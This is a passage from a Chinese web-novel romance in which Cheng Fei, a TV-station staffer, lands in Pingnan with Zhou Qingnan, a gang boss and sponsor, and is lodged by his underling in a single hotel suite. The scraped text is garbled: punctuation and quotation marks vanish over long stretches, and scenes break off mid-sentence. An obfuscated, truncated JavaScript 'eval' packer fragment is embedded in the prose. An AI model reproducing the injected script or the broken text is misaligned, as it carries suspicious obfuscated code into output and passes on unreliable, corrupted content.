抵达目的地,程菲在座位上打了个哈欠伸了个懒腰,随手将手机放回书包里,顺便拧开桌上的矿泉水瓶盖,喝了口。 托周姓大佬的福,程菲也重温了一把大学时期在福利院做义工的时光,飞行前半程,她一口气就讲出了三个儿童故事。 正准备再接再厉讲第四个时,听见身畔的呼吸声变得清浅而平稳。 在她不遗余力地催眠神功下,杀人不眨眼的黒帮大佬终于睡着。 飞行的后半程,程菲又不用讲故事,又不用应付时不时抽风的大佬,乐了个自在,只顾着自己看小说看电视剧。 因此,虽然经历了长达三个小时的飞行,到下飞机时,程菲的精神头还是相当不错。 平南是个小城市,机场也不大,没给头等舱客户设立专属的行礼提取通道,只做了优先安排。 不多时,靓丽的空乘组长上前恭敬示意,程菲和周清南便一同动身,跟同航班的其他几名乘客一起先去取各自的行李。 等了没一会儿,零星几个行李箱便出现在了行李转盘上。 程菲的行李箱是纯白色,上面还贴了一些卡通贴纸做记号,醒目得很。 看见自己的白色行李箱,她大眼一亮,当即 第 40 章 一起睡。 第40章一起睡。 都说龙生龙凤生凤,老鼠的儿子会打洞。 此刻的程菲实在是格外好奇,很想知道这位大佬的父母双亲到底是何等人物,居然能教育出这么一朵闪闪发光的绝世奇葩来。 听听这说的是什么话? 就周清南给出的这个理由,回给徐霞曼,徐总不仅会觉得她藐视上级破坏同事间的团结,还会觉得她脑子被门夹了。 程菲默了默,不敢明着得罪赞助商甲方爸爸,只能强行挤出一个尴尬而不失礼貌的微笑,敷衍地回了句夸奖:“周总真是幽默,连开个玩笑都开得这么别出心裁。” 周清南神色如常:“我像在跟你开玩笑的样子?” 程菲闻声,愣了一瞬。还没等她反应过来,面前的大佬已经径自迈开长腿,直朝大门口走,边走边从裤兜里掏出手机打电话。 ……不是吧?真走了?! 大佬就是大佬,任性起来想干嘛干嘛,但程菲可不敢这么横。 她被周清南的举动再次惊到,忙忙又紧赶慢赶地追上去,焦急得眉头打结,说:“周总,我们还是等一下梁主任吧,您不是我们台的人倒无所谓,但是我是梁主任的下属啊,我不能……” 话还没说完,视野里忽然便怼进来一个黑乎乎的玩意儿。 程菲呆了呆,定睛一看,发现是个手机。 纯黑色曲线边,就是前一秒还被周清南捏在手里打电话的那个。 “?”程菲狐疑,仰起脖子不解地望向头顶上方。 甲方大佬耷拉着眼皮没什么表情地瞧着她,指掌随意地掂了下手机,淡声说:“你们总监让你接电话。” “???” 程菲更迷了,迷茫地眨了下眼睛,接着便很礼貌地伸出两只手,将那个黑色手机从周清南手里给接了过来,举到耳边,半信半疑试探地喊了声:“徐总?” 程菲话音刚落,一道熟悉又磁性的女声便从听筒里传了出来,语气温和中不失威严,说道:“程菲,你和周总已经平安落地平南了,是吧?” 一听电话那头真是徐霞曼,程菲的精神立刻紧绷几分,应道:“是的徐总,我和周总刚下飞机取完行李,目前还没跟梁主任会和。” 谁知电话那边的大BOSS在听完她的话后却很随意地回道:“不用跟梁瀚会和了在正式抵达兰贵之前你一切都听周总的安排。” 程菲万万没想到女魔头BOSS会做出如此叮嘱人都傻了九宫鸟似的怔怔重复:“一切都听周总的安排?” “嗯。”徐霞曼说“从平南到兰贵县还有三个多小时的车程我刚才问过周总周总的意思是这会儿比较晚了你们坐了一路飞机也确实辛苦今天就先在平南住一宿第二天早上再出发去兰贵。” 程菲听得微皱眉下意识问了句:“那梁主任呢?” “他今晚就会启程去兰贵先去跟当地政府的人员进行对接确保一切都已经安排妥当。”徐霞曼笑了下续道“不然等梅总和周总到了再临时出点儿什么岔子人家岂不是要笑话我们。” 老大就是老大果然深思熟虑面面俱到。 程菲对徐霞曼的说法深以为然稍稍顿了下又想到什么说:“可是徐总就让梁主任一个人赶夜路先到兰贵去会不会不太好?我还是跟梁主任一起吧。” 徐霞曼嗓音微沉:“我都说了你就听周总的安排。” 程菲让这道圣旨一堵彻底没了话只能乖觉应声:“好的。” 这时听筒对面的徐霞曼稍微一顿声音压低语气也较之前更严肃几分又叮嘱道:“程菲这次兰贵之行可是相当关键周总和梅总都向我表达过对你的赏识他们看好你的能力也认可你的素质。好好表现千万别给我掉链子。” “……好的徐总我明白了。” 顶头上司下了死命令程菲自然不敢再有异议默默应了一句后便向徐霞曼道别挂断电话将手机还给了身边那位大佬。 周清南脸色平静地接过手机定定瞧着她道:“你们总监说的话都听清楚了?” “……听清楚了。”程菲不甚自在地点了点头。 “清楚就好。”周清南嘴角牵起一抹寡淡的笑 徐霞曼要程菲一切都听周清南安排意思再明显不过就是要她像之前对梅景逍一样尽量让这位半路杀出的貌似非常财大气粗的信任甲方爸爸对他们满意。 老实说程菲 觉得自己挺悲催的。 她明明打定了主意要挥刀斩情丝断绝自己对这个坏男人的一切念想彻底对他冷下来。结果这个计划才实施了几天不到就受到了各种各样的外力干扰。 ……Shift。 也罢也罢听他安排就听他安排吧她也不可能为了一己私念不顾整个台的利益。 单独相处的这段时间干脆就把姓周的当颗成了精的大白菜等到了落脚的酒店她就立马把门一关蒙头睡觉不就是十几个钟头眼睛一闭一睁就过去了!没什么大不了! 想到这里程菲深沉地眯了眯眼暗自握拳坚定了必胜的信念。 没一会儿心态调整得差不多了她便甩甩脑袋捋捋头发定下心神 走到了周清南旁边。 “想通了?”耳畔冷不丁响起一嗓子轻描淡写散漫流气。 程菲顿了下狐疑低扭过脑袋看他没懂他什么意思:“想通了什么?” “你刚不是一直在做思想斗争。”周清南侧目看她一眼语气懒洋洋的“这么久才想通看来是壮士断腕下了大决心。” 程菲:“……” 大佬您这就低估自己的可怕程度了不是?我这岂止壮士断腕我这明明是抛头颅、洒热血为了我们栏目的前途英勇就义。 程菲被周清南一语道破心事窘迫之余又有点不爽沉默半秒禁不住小声吐槽:“都知道我这么纠结不乐意了还非要强人所难心理变态吗你。” 她这句话的声音实在太小加上语速飞快口齿也不清晰周清南没怎么听清楚。 他盯着她笃悠悠地挑了下眉道:“强人所难的下一句是什么再说一遍。” “……”?我说得这么小声这么快你都能听见前半段这是正常人类能做到的? 程菲被大佬的惊人耳力深深震撼了当场僵住。卡壳好半天才回过神眼珠滴溜溜一转支吾着挤出一句话来:“……哦我是说我们总监。我说这么晚了徐总还非要让梁主任赶路去兰贵县实在太强人所难了。” 周清南闻言极淡地轻嗤一声知道这姑娘满嘴跑火车也懒得拆穿。顿了下顺着她的话便回道:“这 其实怪不了你们总监。 程菲怔了怔,不解地抬眸看他。 周清南推着行李箱走着路,脸色沉静,眉眼如画,浑身上下都散发着一股格外坦然而又从容不迫的欠扁气息:“因为是我建议的。 程菲:……?缓缓打出一个问号。 她用一种极其一言难尽的眼神看着周清南,终于忍不住小声道:“梁主任是跟我有过节,不是跟你有仇。而且我看梁主任对你态度还挺客气的,你至于这么针对他吗?连晚饭都不让人好好吃一顿就把人赶走…… 是不是也太过分了啊大佬。 谁知,听完她的这番灵魂质问后,一旁的周清南却连眉毛都没动一下。 他神情如常,很冷静地回她道:“谈不上针对。 程菲诧异:“唔? 周清南继续冷静地说:“单纯觉得很倒胃口,不想多看一眼。 “……程菲无语,心说我替梁主任谢谢你。 两人又齐排往前面走了几步。 这时,程菲余光不经意间一扫,瞧见周清南手边儿的俩大箱子,这才反应过来这位大佬一直在帮她拖箱子,顿时尬住。 两片红晕爬上双颊,程菲窘迫,手忙脚乱地去抢夺自己的拉杆,口中道,“谢谢周总,我自己来就好,麻烦你了麻烦你了…… 这头,周清南本来好好走着路,根本没想到身旁的小姑娘会忽然对他上手。 她本来只是去抓金属栏杆,扯了发现扯不动,两只小手便下意识往上一攀,抱住他的胳膊,开始掰,试图把他的手从金属拉杆上剥离。 不知是紧张还是其他原因,姑娘掌心湿漉漉的,温度有点儿烫,是种潮湿而滑腻的触感。 若有似无的勾人。 “……周清南细微拧了下眉,喉咙深处隐隐发干,全身也莫名有点儿燥热。 这种感觉很怪。 像是渴了很久没喝水,但又不是光靠喝水就能解决的渴。 仅仅零点几秒的光景,周清南不动声色地咽了下喉,左臂微抬,直接便将姑娘两只不安分的小爪子给挡了开。 “你又不是第一天麻烦我。他看她一眼,声音有点儿哑,眼神有点儿暗,“我早习惯了。 程菲:“…… 其实程菲这会儿的注意力都在拉杆箱上并没有没察觉到男人的异样。见他不肯松手她抢不过来也就只好作罢垂下了手臂。 “我书包里还带了很多零食……”程菲不想再欠他什么人情迟疑了下说“你帮我拉了行李箱我待会儿分你一点吃的吧。” 周清南耷拉着眼皮看她:“这回倒舍得给辛苦费。” 程菲:“……” 他没头没尾冒出一句辛苦费程菲一时间没反应过来他在说什么面露茫然——辛苦费?什么辛苦费? 瞧着小姑娘一脸迷茫的呆样周清南有点儿好笑眼睛里有一丝笑意闪过去但他嘴角的弧度又没动脸色的表情便显得似笑而非笑莫名便邪气冲天。 也就是在这时程菲方才恍然大悟——她想起来了。 上次在市医院楼下这人二话不说非要帮她提东西她没辙气结之下就硬邦邦怼了他一句说没有辛苦费给。 她随口说的一句话这位大佬居然记这么久也太记仇了吧…… 心头思索着程菲脸色不禁更红 有什么好解释的。 他爱怎么想怎么想。 很快程菲收回视线自顾自往前走不再多看身侧的大佬一眼也没有再接他的话。 机场到达厅这边人不算多。 程菲和周清南彼此之间再没有说一句话。 经过洗手间时程菲感觉到小腹有一股憋胀感传来当即脸色微变。犹豫两秒后终于还是瞟了眼身旁那位侧颜如画的大佬不甚自然地开口努力用自己很冷淡语气说:“我想去上个洗手间拜托你帮我看一下行李可以吗?” 闻言周清南侧目看了她一眼“程助理这么高冷有半点拜托人办事的样子?” 程菲:“……” 程菲囧了抵御不住大佬沉沉目光的压迫感只能认命地弯弯唇朝他挤出一个比哭还难看的假笑柔声细语地说:“尊敬的周总我真的想去上洗手间拖着行李箱怪不方便的拜托您帮我看一下行李谢谢。” 周清南耷拉着眼皮瞧着这姑娘听她说完挑挑 眉,下巴随意往洗手间方向挑了下,示意她去吧。 程菲见过关了,悄然呼出一口气,背转身的瞬间,面上硬挤出的笑容便荡然无存。肩膀一垮,换上一副丧丧脸,捧着自己备受打击的小心脏进了洗手间。 女士坑位向来紧缺,尤其是机场这种场所,排队更是家常便饭。 程菲走进去一瞧,见队伍并不算长,只有四个旅客排在她前面,便一边提步站进队伍,一边掏出手机,给她亲爱的狗头军师发消息寻求支援。 美少女壮士小程同学:【温老师!江湖救急!求你救我一命啊!!!】 温舒唯不愧是网瘾少女,随时随都抱着手机泡网上,这条消息发出去的第二秒,程菲便收到了狗头军师的回复。 温舒唯:【你今天不是出差去了吗?怎么?我教你的八字箴言不顶用?】 程菲:【出了一点意外……】 程菲:【我现在三言两语跟你说不清楚,总之现在的情况就是,我从现在开始到明天中午,都要跟那个坏男人单独相处!!!】 温舒唯:【???】 温舒唯:【这么刺激?】 温舒唯:【你们现在在哪儿,行程安排是什么?】 程菲:【还在机场呢。估计等下就是找个地方吃晚饭,然后订酒店休息。】 温舒唯:【那也没什么吧。白天公事公办,他是甲方爸爸你是乙方鹌鹑,天一黑,到了酒店就各回各房,盖上被子睡大觉。现在是你对人家有意思,只要你把持住,问题不大。】 程菲:【嗯,你说得有道理。】 温舒唯:【反正兵来将挡水来土掩,别胡思乱想,撑过今晚,你就取得了胜利!】 程菲看着手机屏皱了下眉,又想到什么,敲字:【那我要是一直胡思乱想,睡不着怎么办?】 温舒唯:【实在太激动就点瓶啤酒外卖吧,酒精助眠,一杯下肚,包你睡到大天亮。】 程菲眯起眼,对狗头军师的建议深以为然,定定神,正色回复:【好我记住了,就照你说的办!】 * 平南是座小城市,在全国的GDP排名中常年垫底,机场算是平南最拿得出手的基建设施。 机场大楼外,天色已然暗下,几只倦鸟扑腾着翅膀从暮色中飞过 < ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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程菲见这阵仗,已经反应过来了,猜到瘦猴儿八成也是这位这位大佬遍布天下的小老弟之一,赶紧收拾好惊愕的情绪,朝 这人挤出个笑回他:“你好。” 简单寒暄两句瘦猴儿领着程菲和周清南过了马路。 不多时瘦猴儿将两人带到了一辆纯黑色的高档商务车前恭恭敬敬地替他们拉开车门。 周清南全程一句话没说脸色淡漠地上了车。 程菲杵在原地没动眉心微蹙有点儿犹豫。 瘦猴儿等了几秒察觉到这位小大嫂的异状眼中不由流露出一丝困惑又看了程菲一眼轻声提醒:“大嫂?” 程菲瞬间回过神故作镇定地笑了下回瘦猴儿话:“行李比较重我跟你一起拿吧。” “不用不用。都自己人大嫂跟我客气什么。”瘦猴儿笑容满面。 ……没辙了。 这个节骨眼儿上即使知道是贼船也只能硬着头皮上了。 而且…… 程菲琢磨着眼风悄然瞟了里面的周清南一眼。 他坐在商务车靠里侧的单人位上正微侧着头看她眼神直勾勾的映着满天地的昏暗暮色又显出几分别样的幽沉。 而且她潜意识里相信他不会伤害她。 心尖无端一阵发紧程菲轻轻咬了咬唇瓣终是吐出一口气弯腰坐进了这辆纤尘不染的商务车。 砰。 瘦猴儿关上了车门又将两个行李箱拎进后备箱放好驱车离去。 * 周清南的睡眠很浅不易入睡即使睡着了也非常容易醒。之前在飞机上他听着程菲讲故事的声音小睡了会儿可不到十分钟他就又被吵醒了。 当时小姑娘已经开始玩手机吃零食他睡不着又没事干索性就半躺在座椅上观察她。 观察她咀嚼食物时腮帮蠕动的强弱变化还有小扇子似的眼睫毛一分钟内扇动的频率。 瘦猴儿车开得还算稳当。 在机场高速上行驶了不到十分钟周清南就又有点儿犯困了。 他拿手指捻了下眉心之后便开始闭目养神。 这头比起还能悠哉打盹儿的真`黒帮大佬从小连杀鸡都没见识过的程菲就没这么淡定了。 看着车窗外飞驰倒退的车景她心里就跟十五个吊桶在一起打水似的七上不下忐忑不安。 短短 三分钟的时间里程菲的脑子里就像开启了一台放映机自动将她看过的所有犯罪剧情片都给播放了一遍。 终于在第四分钟时程菲有点绷不住了。 她拍拍脸蛋强迫自己清醒过来然后想了想掏出手机就开始哐哐发消息。 输入完一行文字后她指尖挪动悬停在了输入框旁边的“发送”键上方没立即敲下去而是一脸紧张地转过头看向自己身旁。 只见她身侧的大佬依旧闭着眼以一种半靠半躺的姿势坐在真皮座椅上两只腿大长腿以一种懒洋洋的姿势伸直着大概是因为那双腿的长度着实逆天他的这个造型硬是将原本很宽敞的空间都显得逼仄局促起来。 合着眸头微侧一只胳膊还漫不经心地支在左边的太阳穴上看上去就像一个性转版的睡美人。 ……又睡着了? 在飞机上睡了一路还没睡够昨晚偷鸡去了还是摸狗去了? 这位爷貌似也是有点儿起床气的要是这个时候她给他吵醒了不会挨揍吧? 看着周清南英俊沉静的睡颜程菲就这样纠结过来纠结过去沉思了差不多五秒钟才终于下定决心般咬牙指尖下沉敲下了那个“发送”键。 下一瞬。 嗡嗡一声死寂的车内空间内响起一阵震动音。 周清南顿了下接着便掀开了眼皮。保持着原有姿势慢吞吞地取出手机低眸视线落在屏幕上。 美少女壮士小程同学:古有狄仁杰桃李遍天下 周清南:“……” 周清南转过头看了身侧一眼。 小姑娘一头浓密的黑卷发披在肩头发量太多便衬得那张脸蛋愈发小。巴掌大的脸蛋上留白很少五官量感大而精致一双黑玻璃似的眼珠晶莹生辉正定定地望着他。 对上那双晶亮的大眼睛周清南轻轻挑了下眉眼神里带出疑惑。 这头程菲见大佬半天没反应有点急了眨眨眼睛又赶紧拿起手机继续哐哐哐敲字。 美少女壮士小程同学:周总请问你的小弟这是要带我们去哪里? 周清南耷拉着眼皮读完消息神色淡淡地单手打字回复:酒店。 第 41 章 “我要睡了你!” 第41章“我要睡了你!” 听完瘦猴儿大哥的回答,程菲先是没回过神似的怔了怔紧接着便当场石化在心中悲痛地呐喊:造孽啊。 想她和瘦猴儿哥明明只是第一次见面,素日无怨往日无仇居然要平白遭此灭顶之灾简直是天道不公—— 居然要她和周清南睡一个房间,还不如直接拿把刀来杀了她! 短短几秒钟的时间里,程菲的心路历程格外精彩,先是震惊万分、再是怀疑人生最后就变成了深到不能再深的绝望。 绝望的同时,程菲下意识看了看自己身旁的周清南。 只见人黑老大就是黑老大,刀山火海里闯过来的大人物,什么样的大风浪大阵仗没见过?不就是突然被小老弟安排着和她睡一个屋吗?不就是孤男寡女共处一室吗? 人周大佬照旧泰然自若,面不改色心不跳,不仅没有表露出丝毫的慌张,甚至连眼皮子都没动一下。 也不知道是黒帮大佬淡定从容的神态太具感染力,还是世间万物物极必反的定律使然程菲在经过几秒钟雷劈般的绝望洗礼后忽然莫名其妙地也跟着淡定下来。 常言道走路不能抢,遇事不能慌。 她意识到事已至此惊慌失措没有任何意义寻求一些补救措施才是唯一正道。 琢磨着程菲便暗自做了个深呼吸,定下心神,开动脑筋,飞快思索起应对瘦猴儿的说辞。 一旁。 其实在听见瘦猴儿说只订了一间房后周清南神色淡淡压根都没当回事。毕竟这种级别的套房都自带客厅入住以后让小姑娘睡卧室他一个糙老爷们儿 在心中做好打算后周清南漠然低眸看了眼腕上的表。 接着眉心便微不可察地拧起一个结。 已经八点多了得尽快安顿好。 小姑娘还饿着肚子呢。 周清南心思微动紧接着便准备让瘦猴儿拾掇拾掇走人谁知他刚动了动唇赶人的话还没来得及出口就听见边儿上先一步响起道女孩子的嗓音。 原本甜美好听的声线咬着几分刻意掐嗓掐出来的矫揉造作听起来就显得扭扭捏捏 莫名的好笑。 只见小姑娘抬起一只白生生的手掌稍掩住唇表现得很难为情压低嗓子对瘦猴儿说:“你不知道我睡觉打呼超级响隔着三个屋都能把人吵醒。”说到这里稍稍一顿最后故作娇羞地补了句“为了我在周先生心中的淑女形象我们已经分床睡很久了。” 周清南:“……” 瘦猴儿:“……” 瘦猴儿闻言困惑地眨了眨眼视线下意识又在程菲的小身板儿上打量了两圈心下稀奇。暗道:这么水灵灵一个小姑娘睡觉居然还打呼噜?果真是人不可貌相。 “这样啊……”瘦猴儿若有所思问程菲“大嫂的意思是想单独自己住一个屋?” “对对对。”程菲一双大眼睛噌噌发光对这位小老弟的理解能力感到十分欣慰“我就这么想的。” “行我这就去楼下找前台。”瘦猴儿说着停了下旋即又露出个带有歉意的尬笑续道“不过大嫂这段时间平南在网上火了突然就来了好多外地游客这个酒店又是平南的门面昨晚我打电话的时候就没剩几间房这会儿去问我还真不能向你保证有多余房间。” 听见这话程菲脸上的笑容瞬间微僵眼底两簇希望的小火苗也跟着蔫了蔫。 但她很快又调整好表情对瘦猴儿笑着道:“没有多的房间再说吧咱们先去问问万一走运呢?” “好。”瘦猴儿满口应下。 程菲点点头随后便准备跟瘦猴儿一起下楼去酒店大堂问情况。余光一扫瞧见自己的白色行李箱想着拖个箱子坐电梯不方便于是又悄然抬眼瞄向身旁那位从上楼到现在始终没怎么说过话的大佬。 程菲心想:瘦猴儿拿她当大嫂也就是说当着瘦猴儿的面她要是喊这周清南“周总”未免显得太过生疏很容易引起瘦猴儿的疑心。 既然要扮演一对恩爱小情侣为求逼真称呼方面自然也得亲密一些…… 她这么琢磨着两颊不由自主浮起两抹俏丽的小红云迟疑半秒清了清嗓子然后便用自己最温柔最甜美的声音试探着轻唤了句:“阿南?” 周清南刚用房卡刷开套房的门打算把他和程菲的行李都先放进去。 闻声的刹那 稍顿整个人像是被忽然按下了暂停键。 轻柔和缓的两个字音像悬在夜空的两粒星无意间坠落人间不偏不倚刚好就砸在了他的心坎上。 印象里这小姑娘对他的称呼有很多开始认识的时候不熟悉总是怯生生又十分客气地喊他周先生后面熟点儿了她胆儿也跟着肥起来喊他的花样儿也变得越发多周大佬周总周清南…… 没听她喊过他“阿南”。 尤其还是用这副腻着嗓子说话的甜美腔调。 这是长这么大的头一回周清南发现他这名字起得还不错——天生自带鼻音的“南”字其他人喊出来没什么稀奇但经由她天生细软的嗓门儿一加工 带着点儿撩带着点儿钓挺好听的。 就是有点儿让人受不了。 套房开了房门却没有开灯室内空间漆黑一片。 周清南站在门口面上表情平静眼底却比周围昏沉的环境更暗。 他没有看程菲凸起的喉结不动声色滚了下应她一声“嗯”嗓音低低的哑哑的。 “我跟你朋友下楼去问前台房间的事你就不用下去了。”程菲没有察觉到什么异常白净的小脸上笑意温软尽量让自己说话的语气显得自然“你之前不是说你昨晚没睡好就留在楼上看我们的行李顺便休息一下吧。” 周清南随手把两个行李箱一起推进套房紧接着便将房门拉过来重新关上。 程菲见状诧异地眨了眨眼睛望着他呆呆问:“你不留在房间休息吗。” “陪你啊。” 周清南低眸瞧着她神色自若漫不经心地说“这地儿你又不熟离开我的视线要是被人拐了我找谁哭去。” 程菲:“……” 程菲对大佬的这一说法着实汗颜回怼的话没控制住脱口而出:“离开你的视线就被人拐你把我当三岁小孩子呀。” 一旁的瘦猴儿也附和陪笑说:“大嫂说得对。这平南是我的地界要是让大嫂早这儿被拐了我侯三还混个什么劲?金盆洗手回家种土豆算了。周先生不用太紧张。” “你大嫂是我的心肝宝贝离她一秒我就浑身不舒坦。”周清南盯着姑娘红云弥 漫的耳垂一扯嘴角挑起个耐人寻味的笑来反问瘦猴儿“难道我不该紧张她?” 瘦猴儿闻言当即露出个了然的表情笑着回道:“是是是应该的。” 听着两个男人的对话一旁的程菲不禁面红耳赤又窘又困惑。 直觉告诉她周清南的言行有点奇怪但她当着瘦猴儿的面又不好多问之后能乖乖地闭上嘴巴一个字都不说了。 * 不多时三人乘电梯下了楼来到酒店前台。 “你好。”程菲笑了笑客气地说“我想请问一下今晚还没有空余的房间?” “好的女士请您稍等。”前台小姐姐肤白貌美笑容友善笑眯眯答完程菲的话后便移动鼠标在电脑上察看。 片刻前台小姐姐朝抱歉地笑笑回答:“抱歉女士今晚所有的房源均已订出没有空余房间了。” “这样啊……”程菲失望地皱眉扔不死心又追问道“你确定是所有房间都订出去了吗?不一定要单人间和套房那种没窗户或者正对楼梯口的标间什么的也可以。” 前台小姐姐无奈“抱歉女士确实没有任何房源剩余。最近来旅游的客人的比较多请您谅解。” 得到这个回答程菲知道没辙了不再为难前台小姐姐只是悲伤地塌了塌肩有气无力地回道:“好的谢谢你我知道了。” 酒店没有多余房间那就意味着即使她再不情愿今晚也只能硬着头皮和那位大佬睡一个屋。 程菲越想越郁闷整个人活像只被霜打过的茄子蔫头耷脑无比消沉。 一旁的瘦猴儿见程菲这副模样 瘦猴儿走了。 程菲还是丧丧的耷拉着脑袋站在大堂的喷泉池旁一会儿往左走三步一会儿往右踏两步磨磨蹭蹭不想上楼。 周清南就站在离她几步远的位置高大身躯散漫地靠着墙既不催促也不说话只眼皮微垂直勾勾盯着这小姑娘看。 这会儿已经是晚上八点半大堂这片没什么人除周清南和程菲以外只有零星几个拍照打卡的年轻女孩子。 这些女孩子都是外地来平南旅游的,周清南出现在大堂的第一时间,她们就注意到了这个极品帅哥。此刻也不敢靠太近,一个个脸红心跳地在边儿上偷瞄,偶尔压低嗓子议论上几句。 不多时,其中一个女孩子在其他人的怂恿下壮着胆子走上前,来到了周清南旁边。 周清南的注意力都在程菲身上,以为突然靠近的年轻女孩儿是来找自己问路的,没太大反应。 年轻女孩脸蛋红彤彤的,顿了下,然后才小声试探着问:“帅哥,请问你有女朋友吗? 周清南闻声,看都没看那个女孩儿一眼,只是朝那道纤细人影的方向抬了抬下巴,淡淡地回答:“有啊。 年轻女孩循着周清南视线的方向看了眼,上下扫视程菲一番,抿了抿唇,仗着自己的漂亮脸蛋和好身材,又娇滴滴地说了句:“可是我看你女朋友好像不太想理你。你们是闹别扭了吗? 周清南轻微皱了下眉,像是有点儿不耐烦了,侧过眸,拿余光冷淡地瞥了年轻女孩一眼,道:“我女朋友有没有跟我闹别扭,貌似跟你没关系。 年轻女孩:“…… 年轻女孩见这人说话半点情面都不留,知道对方的意思了,只能黑着脸尴尬地转身离开。 脚步声远去了。 周清南又看了那颗小茄子片刻,低眸给自己点了根烟,抽着烟保持着靠墙造型又站了大概半分钟,终于吐出一口烟圈,冷不丁道:“你打算在这儿站一宿? 声音懒懒的,语气散漫,教人分辨不出是什么情绪。 程菲和周清南的距离不远,自然也第一时间就听见了男人这句话。她微怔,来回踱步的动作倏然顿住,下意识便转头,看过去。 就见那位大佬抽着烟懒洋洋地靠在墙上,额前碎发垂下几缕,底下是一双狭长微挑的浅瞳,笔直地注视着她,眸色不明。 很显然,大佬刚才那句话就是在向她发问。 程菲意识到自己已经在这儿溜了好几趟,一下就窘了,耳根的温度也变得越发高。 她迟疑须臾,走到他旁边,接着便小声挤出一句话,问周清南道:“我们方不方便换一家酒店住? 周清南耷拉着眼皮居高临下瞧着她,眉峰轻轻一抬,没吭声。 “…… 主要是,这家酒店确实没有其他房间。小姑娘苦恼得很,提到这件事就两只眉毛打结,低声嘀咕,“我们两个又不是同性,住一间房确实太不方便了。 手边正好是个垃圾桶,周清南食指掸了下烟灰,顺手将烟往远离她的方向拿了点儿,随口跟她说:“退两步。 程菲:? 程菲眨了眨眼睛,没懂这位大佬让她退两步是什么意思,用一副茫然的表情回望他。 周清南看着眼前这张呆呆的漂亮脸蛋,真是半点脾气都没了,耐着性子道:“我在抽烟,烟味儿会熏到你。 “哦……程菲闻言,点点头,听话地往后挪出两步。站定后稍作停顿,又鬼使神差地回他一句,“我小时候住的地方,周围的街坊邻居很多老烟民,我从小熏到大,其实差不多都习惯了。 “小时候的生存环境没得选。周清南直视着她,嘴角细微地勾了勾,“现在你已经长大了,选择面很广,没必要再委屈自己。 “……不算委屈吧。程菲低着眸不看他,嘟囔着回了句,“你的烟味也没有很难闻。 这一点,程菲从很早之前就发现了。 这位大佬身上的烟味并不浓,大概是因为他长期都有吃水果软糖的习惯,因此烟味里面还总是混着一丝很清冽的味道,还挺特别。 不过…… 他们不是在讨论住宿的事吗?怎么莫名其妙说跑题就跑题了?! 程菲一个激灵猛想起正事,当即决定继续向周清南提建议,准备动之以情晓之以理,说服这位大佬同意换酒店。 然而她嘴唇蠕动了两下,正要开口,对面的大佬便先发话了。 “我来平南之前,没有主动联系过侯三。周清南脸色冷静,语气也淡淡的,“昨晚侯三却忽然给我打电话,说接机和酒店的事,全都他来安排。 程菲听后一愣,一头雾水地蹙眉,不解道:“你没有联系过侯三?那他怎么知道你要来平南? “当然是有人特意关照。 周清南说着,眸微垂,吹了吹燃烧着的猩红烟尾,语气骤然便沉下去,“要这儿的兄弟好好招待。 程菲眼神突的一闪。 短短几秒间,一个画面从她脑海中浮现出来:灯光昏暗的不夜城豪 包一道身形 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周清南被她这副生无可恋的小模样给逗笑眼底飞快划过一抹笑色唇畔微牵耐着性子又问:“这家酒店就提供餐食服务。这位小姐不然劳您屈尊将就一下?” 程菲心说徐总监都放话让我一切听您老人家安排了我的意见还重要吗?她无语最后只能挤出个蔫蔫的假笑回道:“只有周总觉得可以我都行。” 几分钟后两人来到酒店13层的餐厅吃饭。 服务员送上菜单。 周清南随手翻了几页目光扫过一道菜品时稍稍一凝之后便报上了几道菜品。 服务员依次记下之后又笑容满面地问:“请问还有别的吗?” 周清南视线看向餐桌对面。 见小姑娘还是一副天要塌下来似的消沉样垂着脑袋一言不发知道她心思压根不在吃饭上便没再说什么朝服务生随意摆了下指“可以了。” “好的请二位稍候。”服务生离去。 这个点儿没什么用餐餐厅的大厨们都是一对一服务没一会儿几道精美的菜品便送上了桌。 程菲这 头本来还沮丧得没什么胃口,一闻到空气里飘来的菜香味儿,顿时来了食欲,抬眼看向餐桌——什么东西这么香? 闻起来就很好吃。 只见餐桌上摆着几分精美佳肴,有雪花牛肉、三线肉、爆炒喉丝等,每道菜品看上去都红彤彤的,鲜香麻辣,酸爽扑鼻。 程菲一双晶亮的眸子眨巴了两下,好奇地掀高眼帘,望向对面的大佬,小声:“这是什么?好好吃的样子。” “刚才你在车上跟人聊天,不是说想试一下新式傣餐。”周清南低着眸表情平静,用公筷夹了一块儿雪花牛肉,放进她碗里,“尝尝。” ? 大佬居然亲自给她夹菜? 程菲受宠若惊,心跳也莫名变得急促,赶紧双手举碗把那块肉接过,有点惶恐又有点感动地说了四个字:“……谢谢周总。” 周清南给她夹完菜,接着便自顾自地吃起来,全程没有再说一句话。 * 因为潜意识里就很恐惧要跟周清南睡一个房间这件事,这顿晚饭,程菲磨蹭再磨蹭,磨叽再磨叽,吃了整整一个钟头。 晚上九点半左右,直到把所有能摸的鱼都摸了个遍,她才终于认命,不情不愿地离开餐厅,跟在她亲爱的甲方爸爸周大佬身后…… 重新回到侯三给他们订的那间套房。 “滴——” 周清南刷卡进了门。 程菲心惊胆战又慌又怕,干巴巴地杵门口,抻着脖子小心翼翼地往里打望一番,没敢往里迈步。 这时,又见周清南随手摁亮了墙上的灯开关,偌大的套房霎时间灯火通明。 眼瞧着环境从黑暗变得明亮,程菲紧绷着的神经这才稍稍放松。但她还是很紧张,呼吸不稳脸蛋发红,掌心全是湿湿滑滑的汗液,几乎快要抓不住肩上的背带。 暗搓搓地抬高眼帘。 看见男人已经进了屋,站姿随性,正在摘腕上的皮表带。眼帘成低垂状态,浓密漆黑的睫毛将一双浅瞳略微覆盖住,侧颜的轮廓,俊得凌厉又招摇。 难怪在酒店大堂会被小姑娘搭讪。 这哥是真好看,三百六十度无死角的好看。 所以,她看上这么个美人,被这样一张脸勾了魂乱了神,应该也不算是件多离谱的事… …叭? 程菲脑子里乱七八糟地琢磨着。 就在她思绪乱飞的时候美人很突兀地又说了一句话。 周清南:“我刚才看了一下 “……唔?”程菲迷茫乖乖等他下文。 “所以我会去楼下的健身房洗澡。”周清南将腕表摘下随手放在柜子上侧过头来看她“这个洗手间你一个人用洗漱完就直接在卧室睡下我不会进来。” 程菲听后眸光突地微闪条件反射接了句:“那你睡哪儿?” 周清南没搭腔顺手指了指客厅正中的黑色皮沙发。 